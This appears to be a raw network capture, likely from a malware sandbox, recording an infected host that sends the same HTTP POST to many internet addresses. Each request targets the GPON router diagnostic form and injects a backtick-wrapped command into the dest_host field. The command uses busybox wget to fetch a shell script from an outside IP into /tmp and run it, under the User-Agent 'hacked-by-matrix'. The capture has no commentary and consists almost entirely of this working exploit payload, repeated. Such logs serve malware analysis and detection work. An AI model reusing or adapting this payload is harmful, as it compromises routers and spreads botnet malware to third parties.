Mar 21, 2024 05:16:56.530550003 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.13	57846	210.234.115.116	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530572891 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.13	51836	178.58.219.169	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530603886 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.13	46410	118.168.202.240	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530603886 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.13	43534	42.7.170.62	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530630112 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.13	60408	79.16.149.103	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530669928 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.13	32856	5.104.168.133	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530711889 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.13	42872	79.182.100.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530736923 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.13	50012	94.231.35.140	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530765057 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.13	36904	79.243.145.137	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530769110 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.13	37416	5.165.64.26	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530824900 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.13	56236	79.201.179.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530838966 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.13	42048	94.185.178.114	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530874014 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.13	49750	37.86.64.171	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530901909 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.13	53432	2.128.90.29	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530913115 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.13	36648	94.219.213.139	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530942917 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.13	60588	94.185.63.22	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530981064 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.13	49196	79.250.68.103	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530994892 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.13	51746	109.16.255.35	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531019926 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.13	49346	118.47.104.166	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531059980 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.13	54038	79.115.129.127	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531080008 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.13	41530	79.196.54.90	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531136990 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.13	37200	212.84.215.89	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531141043 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.13	34782	42.137.58.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531163931 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.13	36568	37.216.127.108	443

Timestamp	Bytes transferred	Direction	Data
